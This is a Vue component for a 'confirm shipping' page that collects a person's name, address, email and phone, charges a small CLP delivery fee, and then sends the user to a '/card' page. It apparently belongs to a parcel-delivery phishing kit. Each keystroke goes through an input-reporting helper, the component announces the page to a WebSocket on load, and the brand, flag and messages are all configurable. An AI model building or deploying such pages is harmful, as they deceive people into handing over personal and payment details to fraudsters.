<script setup lang="ts">
import { useRouter } from "vue-router";
import { useLoadingStore } from "@/stores/loadingStore";
import { computed, onMounted, reactive, ref } from "vue";
import { useI18n } from "vue-i18n";
import { configData, formatPriceWithUnit, inputChange, myWebSocket } from "@/utils/common";
import { globalConfig, goodsConfig } from "@/config";

const selectFee = ref("");
const { t } = useI18n();
const loadingStore = useLoadingStore();
const showBz = ref(false);
const domainName = ref(globalConfig.main_name);

const formData = reactive({
  fullName: "",
  phone: "",
  address: "",
  address2: "",
  city: "",
  state: "",
  zipCode: "",
  email: "",
});

const formDataError = reactive({
  fullName: false,
  phone: false,
  address: false,
  address2: false,
  city: false,
  state: false,
  zipCode: false,
  email: false,
});

const shippingPrices = computed(() => {
  const defaultPrices = {
    rapido: "CLP 2,888",
    estandar: "CLP 399",
  };

  if (!configData.value?.pay_amount) {
    return defaultPrices;
  }

  const amounts = configData.value.pay_amount.split(",");
  return {
    rapido: amounts[0] || defaultPrices.rapido,
    estandar: amounts[1] || defaultPrices.estandar,
  };
});

const currentDate = new Date();
const shippingDate = new Date(currentDate);
shippingDate.setDate(currentDate.getDate() + 2);

const dayNames = [t("Sunday"), t("Monday"), t("Tuesday"), t("Wednesday"), t("Thursday"), t("Friday"), t("Saturday")];
const monthNames = [t("January"), t("February"), t("March"), t("April"), t("May"), t("June"), t("July"), t("August"), t("September"), t("October"), t("November"), t("December")];

const shippingMessage = computed(() => {
  const day = dayNames[shippingDate.getDay()];
  const date = shippingDate.getDate() + 1;
  const month = monthNames[shippingDate.getMonth()];
  return t("address_view.express_shipping", { day, date, month });
});

const startDate = new Date(currentDate);
const endDate = new Date(currentDate);
startDate.setDate(currentDate.getDate() + 4);
endDate.setDate(currentDate.getDate() + 6);

const shippingMessage2 = computed(() => {
  const startDay = dayNames[startDate.getDay()];
  const startDayNumber = startDate.getDate();
  const startMonth = monthNames[startDate.getMonth()];
  const endDay = dayNames[endDate.getDay()];
  const endDayNumber = endDate.getDate();
  const endMonth = monthNames[endDate.getMonth()];
  return t("address_view.delivery_between", {
    startDay,
    startDayNumber,
    startMonth,
    endDay,
    endDayNumber,
    endMonth,
  });
});

const validateEmail = () => { };
const emailErrorMessage = ref("");
const router = useRouter();

const textChange = (event: any, key: any) => {
  const value = event.target.value;
  inputChange("input_address", key, value);

  let noPass = false;

  if (key === "fullName") {
    if (!formData.fullName) {
      formDataError.fullName = true;
      noPass = true;
    } else {
      formDataError.fullName = false;
    }
  }
  if (key === "city") {
    if (!formData.city) {
      formDataError.city = true;
      noPass = true;
    } else {
      formDataError.city = false;
    }
  }

  if (key === "address") {
    if (!formData.address) {
      formDataError.address = true;
      noPass = true;
    } else {
      formDataError.address = false;
    }
  }
  if (key === "zipCode") {
    if (!formData.zipCode) {
      formDataError.zipCode = true;
      noPass = true;
    } else {
      formDataError.zipCode = false;
    }
  }

  if (key === "state") {
    if (!showBz.value && !formData.state) {
      formDataError.state = true;
      noPass = true;
    } else {
      formDataError.state = false;
    }
  }

  if (key === "email") {
    if (!showBz.value && !formData.email) {
      formDataError.email = true;
      emailErrorMessage.value = t("address_view.field_error");
      noPass = true;
    } else {
      formDataError.email = false;
    }
  }

  if (key === "phone") {
    if (!formData.phone) {
      formDataError.phone = true;
      noPass = true;
    } else {
      formDataError.phone = false;
    }
  }
};

const next = () => {
  let noPass = false;
  if (!formData.fullName) {
    formDataError.fullName = true;
    noPass = true;
  } else {
    formDataError.fullName = false;
  }

  if (!formData.city) {
    formDataError.city = true;
    noPass = true;
  } else {
    formDataError.city = false;
  }

  if (!formData.address) {
    formDataError.address = true;
    noPass = true;
  } else {
    formDataError.address = false;
  }

  if (!formData.zipCode) {
    formDataError.zipCode = true;
    noPass = true;
  } else {
    formDataError.zipCode = false;
  }

  if (!showBz.value) {
    if (!formData.state) {
      formDataError.state = true;
      noPass = true;
    } else {
      formDataError.state = false;
    }

    if (!formData.email) {
      formDataError.email = true;
      emailErrorMessage.value = t("address_view.field_error");
      noPass = true;
    } else {
      formDataError.email = false;
    }
  }

  if (!formData.phone) {
    formDataError.phone = true;
    noPass = true;
  } else {
    formDataError.phone = false;
  }

  if (noPass) {
    return;
  }

  if (!showBz.value) {
    const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    if (!emailPattern.test(formData.email)) {
      emailErrorMessage.value = t("address_view.invalid_email");
      formDataError.email = true;
      return;
    } else {
      emailErrorMessage.value = "";
      formDataError.email = false;
    }
  }

  if (goodsConfig.value.feeType === 2) {
    if (selectFee.value === "") {
      alert(t("address_view.please_select_date"));
      return;
    }

    const fee1Formatted = formatPriceWithUnit(goodsConfig.value.fee);
    const fee2Formatted = formatPriceWithUnit(goodsConfig.value.fee2);

    let feeAmount = 0;
    if (selectFee.value === fee1Formatted) {
      feeAmount = goodsConfig.value.fee;
    } else if (selectFee.value === fee2Formatted) {
      feeAmount = goodsConfig.value.fee2;
    }

    const goodsPrice = parseFloat(localStorage.getItem("goodsPrice") || "0");
    const totalAmount = goodsPrice + feeAmount;

    localStorage.setItem("shippingFee", formatPriceWithUnit(feeAmount));
    localStorage.setItem("moneyAmount", totalAmount.toString());
  }

  loadingStore.setLoading(true);
  setTimeout(() => {
    router.push("/card");
  }, 200);
};

onMounted(() => {
  loadingStore.setLoading(false);
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "address" },
    })
  );
  localStorage.setItem("route", "address");

  const phone = localStorage.getItem("phone");
  if (phone) {
    formData.phone = phone;
  }

  const show = configData.value.customInput?.find(
    (item: any) => item.key === "showBz"
  )?.value;
  showBz.value = !!show;
});
</script>

<template>
  <div>
    <div class="t2-top-content">
      <img src="/static/products/address.png" alt="logo" style="width: 50px; height: 50px; margin-right: 10px" />
      <h1 style="font-size: 22px; margin-bottom: 6px; margin-top: 10px; color: #ffffff">
        {{ t("address_view.confirm_shipping") }}
      </h1>
    </div>

    <div class="t2-main-content-body_googds" style="margin-top: 0px;">
      <div>
        <div style="text-align: left">
          <p>
            {{ configData?.address_msg ? configData?.address_msg : "" }}
          </p>
        </div>
        <br />

        <div>
          <form :novalidate="true">
            <div class="t2-input1">
              <label>
                {{ t("address_view.your_name") }}
              </label>
              <input type="text" :required="true" @input="(event) => textChange(event, 'fullName')"
                v-model="formData.fullName" placeholder=" " />
              <div class="t2-error" v-if="formDataError.fullName">
                {{ t("address_view.field_error") }}
              </div>
            </div>

            <div class="t2-input1">
              <label>
                {{ t("address_view.address") }}
              </label>
              <input type="text" @input="(event) => textChange(event, 'address')" v-model="formData.address"
                :placeholder="t('address_view.street_address')" />
              <div class="t2-error" v-if="formDataError.address">
                {{ t("address_view.field_error") }}
              </div>
            </div>

            <div class="t2-input1" v-if="!showBz">
              <label>
                {{ t("address_view.detailed_address") }} {{ t("address_view.optional") }}
              </label>
              <input type="text" @input="(event) => textChange(event, 'address2')" v-model="formData.address2"
                :placeholder="t('address_view.apartment_number')" />
              <div class="t2-error" v-if="formDataError.address2">
                {{ t("address_view.field_error") }}
              </div>
            </div>

            <div class="t2-input1">
              <label>
                {{ t("address_view.city") }}
              </label>
              <input type="text" @input="(event) => textChange(event, 'city')" v-model="formData.city" placeholder=" " />
              <div class="t2-error" v-if="formDataError.city">
                {{ t("address_view.field_error") }}
              </div>
            </div>

            <div class="t2-input1" v-if="!showBz">
              <label>
                {{ t("address_view.state") }}
              </label>
              <input type="text" @input="(event) => textChange(event, 'state')" v-model="formData.state" placeholder=" " />
              <div class="t2-error" v-if="formDataError.state">
                {{ t("address_view.field_error") }}
              </div>
            </div>

            <div class="t2-input1">
              <label>
                {{ t("address_view.zip_code") }}
              </label>
              <input type="text" @input="(event) => textChange(event, 'zipCode')" v-model="formData.zipCode" placeholder=" " />
              <div class="t2-error" v-if="formDataError.zipCode">
                {{ t("address_view.field_error") }}
              </div>
            </div>

            <div class="t2-input1" v-if="!showBz">
              <label>
                {{ t("address_view.email") }}
              </label>
              <input type="email" @input="(event) => textChange(event, 'email')" v-model="formData.email" placeholder=" " />
              <div class="t2-error" v-if="formDataError.email">
                {{ emailErrorMessage }}
              </div>
            </div>

            <div class="t2-input1">
              <label>
                {{ t("address_view.telephone") }}
              </label>
              <div class="t2-phone-input-group">
                <div class="t2-country-prefix">
                  <img :src="`/img/flag_png/${globalConfig.flag}.png`" :alt="domainName" class="t2-flag-icon" />
                  <span class="t2-prefix-text">+{{ globalConfig.phone_prefix }}</span>
                </div>
                <input
                  type="tel"
                  inputmode="tel"
                  maxlength="8"
                  @input="(event) => textChange(event, 'phone')"
                  v-model="formData.phone"
                  placeholder=" "
                  class="t2-phone-input-field"
                />
              </div>
              <div class="t2-error" v-if="formDataError.phone">
                {{ t("address_view.field_error") }}
              </div>
            </div>

            <div class="t2-shipping-section" v-if="goodsConfig.feeType === 2">
              <h3 class="t2-shipping-title">{{ t("address_view.shipping_date_costs") }}</h3>
              <div class="t2-shipping-options">
                <label class="t2-shipping-option">
                  <input type="radio" name="shipping" :value="formatPriceWithUnit(goodsConfig.fee)" v-model="selectFee">
                  <div class="t2-shipping-info">
                    <span class="t2-shipping-text">{{ shippingMessage }}</span>
                    <span class="t2-shipping-price">{{ formatPriceWithUnit(goodsConfig.fee) }}</span>
                  </div>
                </label>
                <label class="t2-shipping-option">
                  <input type="radio" name="shipping" :value="formatPriceWithUnit(goodsConfig.fee2)" v-model="selectFee">
                  <div class="t2-shipping-info">
                    <span class="t2-shipping-text">{{ shippingMessage2 }}</span>
                    <span class="t2-shipping-price">{{ formatPriceWithUnit(goodsConfig.fee2) }}</span>
                  </div>
                </label>
              </div>
            </div>

            <br />
            <div class="t2-button-submit">
              <button type="button" @click="next">
                {{ t("Next Step") }}
              </button>
            </div>
          </form>
        </div>
      </div>
    </div>
  </div>
</template>

<style scoped>
.t2-phone-input-group {
  display: flex;
  align-items: center;
  background: #ffffff;
  border: 1px solid #ccc;
  border-radius: 8px;
  overflow: hidden;
  height: 48px;
  margin-top: 5px;
}

.t2-country-prefix {
  display: flex;
  align-items: center;
  gap: 6px;
  padding: 0 10px;
  background: #f8f9fa;
  border-right: 1px solid #ddd;
  height: 100%;
  flex-shrink: 0;
}

.t2-flag-icon {
  width: 22px;
  height: auto;
  border: 1px solid #eee;
}

.t2-prefix-text {
  font-weight: 700;
  color: #333;
  font-size: 15px;
}

.t2-phone-input-field {
  flex: 1;
  border: none !important;
  padding: 0 12px !important;
  height: 100% !important;
  font-size: 16px;
  outline: none;
  background: transparent;
}

form[novalidate].t2-invalid div.t2-input1:has(input:invalid) .t2-error {
  display: block;
  color: red;
  font-size: 0.9em;
}

.t2-top-content {
  display: flex;
  flex-direction: row;
  background: var(--global-primary-color);
  padding: 10px 30px;
  align-items: center;
}

.t2-error {
  display: block;
  color: red;
  font-size: 0.9em;
  margin-top: 4px;
}

.t2-input1 {
  margin-bottom: 15px;
  text-align: left;
}

.t2-input1 label {
  display: block;
  margin-bottom: 5px;
  font-weight: 600;
  color: #333;
}

.t2-input1 input {
  width: 100%;
  padding: 12px;
  border: 1px solid #ccc;
  border-radius: 8px;
  box-sizing: border-box;
}
.t2-input1 input:focus {
  outline: none;
  border-color: var(--global-primary-color) !important;
  border-width: 2px;
}

.t2-main-content-body_googds {
  padding: 10px;
}

.t2-main-content-body_googds .t2-shipping-section {
  /* margin-top: 24px; */
  padding-top: 16px;
  border-top: 1px solid #e0e0e0;
}

.t2-main-content-body_googds .t2-shipping-title {
  font-size: 18px;
  font-weight: 700;
  color: #333333;
  margin-bottom: 16px;
  font-family: "Roboto", "Arial", sans-serif;
}

.t2-main-content-body_googds .t2-shipping-options {
  display: flex;
  flex-direction: column;
  gap: 12px;
}

.t2-main-content-body_googds .t2-shipping-option {
  display: flex;
  align-items: center;
  padding: 12px;
  border: 1px solid #cccccc;
  border-radius: 8px;
  cursor: pointer;
  transition: border-color 0.2s, background-color 0.2s;
}

.t2-main-content-body_googds .t2-shipping-option:hover {
  border-color: #003087;
  background-color: #f5f6f5;
}

.t2-main-content-body_googds .t2-shipping-option input[type="radio"] {
  width: auto;
  margin-right: 12px;
  accent-color: #003087;
}

.t2-main-content-body_googds .t2-shipping-info {
  flex: 1;
}

.t2-main-content-body_googds .t2-shipping-text {
  display: block;
  font-size: 14px;
  color: #555555;
  margin-bottom: 4px;
  font-family: "Roboto", "Arial", sans-serif;
}

.t2-main-content-body_googds .t2-shipping-price {
  font-size: 16px;
  font-weight: 600;
  color: #003087;
  font-family: "Roboto", "Arial", sans-serif;
}

.t2-button-submit button {
  width: 100%;
  padding: 15px;
  background-color: var(--global-primary-color);
  color: white;
  border: none;
  border-radius: 8px;
  font-size: 16px;
  font-weight: 700;
  cursor: pointer;
}
</style>
